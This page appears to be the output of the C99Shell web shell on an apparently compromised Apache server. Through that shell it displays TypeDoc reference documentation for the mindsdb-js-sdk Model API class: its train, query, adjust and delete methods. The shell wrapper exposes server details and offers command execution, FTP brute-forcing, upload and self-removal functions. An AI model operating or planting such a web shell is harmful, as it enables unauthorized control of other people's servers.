!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/mindsDb/node_modules/mindsdb-js-sdk/docs/classes/   drwxr-xr-x
Free 13.22 GB of 57.97 GB (22.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     models_modelsApiClient.default.html (54.97 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
default | mindsdb-js-sdk

Class defaultAbstract

Abstract class outlining Model API operations supported by the SDK.

Hierarchy

Constructors

constructor

Methods

adjustModel batchQueryModel deleteModel describeAccuracyModel describeModel getAllModels getModel queryModel retrainModel trainModel

Constructors

constructor

Methods

Abstract adjustModel

  • Partially adjusts this model with the given options.

    Throws

    • Something went wrong adjusting the model.

    Parameters

    • name: string

      Name of the model.

    • project: string

      Project the model belongs to.

    • Optional options: AdjustOptions

      Options to use when adjusting the model.

    Returns Promise<void>

Abstract batchQueryModel

  • Queries this model for a batch prediction by joining with another data source.

    Returns

    • All prediction results from the batch query.

    Throws

    • Something went wrong batch querying the model.

    Parameters

    • name: string

      Name of the model.

    • version: number
    • targetColumn: string

      Column that the model predicts.

    • project: string

      Project the model belongs to.

    • options: BatchQueryOptions

      Options to use when querying the model.

    Returns Promise<ModelPrediction[]>

Abstract deleteModel

  • Deletes this model.

    Throws

    • Something went wrong deleting the model.

    Parameters

    • name: string

      Name of the model.

    • project: string

      Project the model belongs to.

    Returns Promise<void>

Abstract describeAccuracyModel

  • Describes the features of this model.

    Returns

    • All feature descriptions of the model. Empty if the model doesn't exist.

    Parameters

    • name: string

      Name of the model.

    • project: string

      Project the model belongs to.

    • Optional unique_id: string

      Optional unique id to filter the accuracy by.

    Returns Promise<ModelDescribeAccuracy[]>

Abstract describeModel

Abstract getAllModels

  • Gets all models associated with a project.

    Returns

    • All models for the given project.

    Parameters

    • project: string

      Project the models belong to.

    Returns Promise<Model[]>

Abstract getModel

  • Gets a model by name and project.

    Returns

    • The matching model, or undefined if none exists.

    Parameters

    • name: string

      Name of the model.

    • project: string

      Project the model belongs to.

    Returns Promise<undefined | Model>

Abstract queryModel

  • Queries this model for a single prediction. For batch predictions, use batchQuery.

    Returns

    • The prediction result.

    Throws

    • Something went wrong querying the model.

    Parameters

    • name: string

      Name of the model.

    • version: number
    • targetColumn: string

      Column that the model predicts.

    • project: string

      Project the model belongs to.

    • options: QueryOptions

      Options to use when querying the model.

    Returns Promise<ModelPrediction>

Abstract retrainModel

  • Rerains this model with the given options.

    Throws

    • Something went wrong retraining the model.

    Parameters

    • name: string

      Name of the model.

    • targetColumn: string

      Column for the model to predict.

    • project: string

      Project the model belongs to.

    • Optional options: TrainingOptions

      Options to use when retraining the model.

    Returns Promise<void>

Abstract trainModel

  • Trains this model with the given options.

    Throws

    • Something went wrong training the model.

    Parameters

    • name: string

      Name of the model.

    • targetColumn: string

      Column for the model to predict.

    • project: string

      Project the model belongs to.

    • options: TrainingOptions

      Options to use when training the model.

    Returns Promise<Model>

Settings

Member Visibility

Theme

Generated using TypeDoc


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 
:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0032 ]--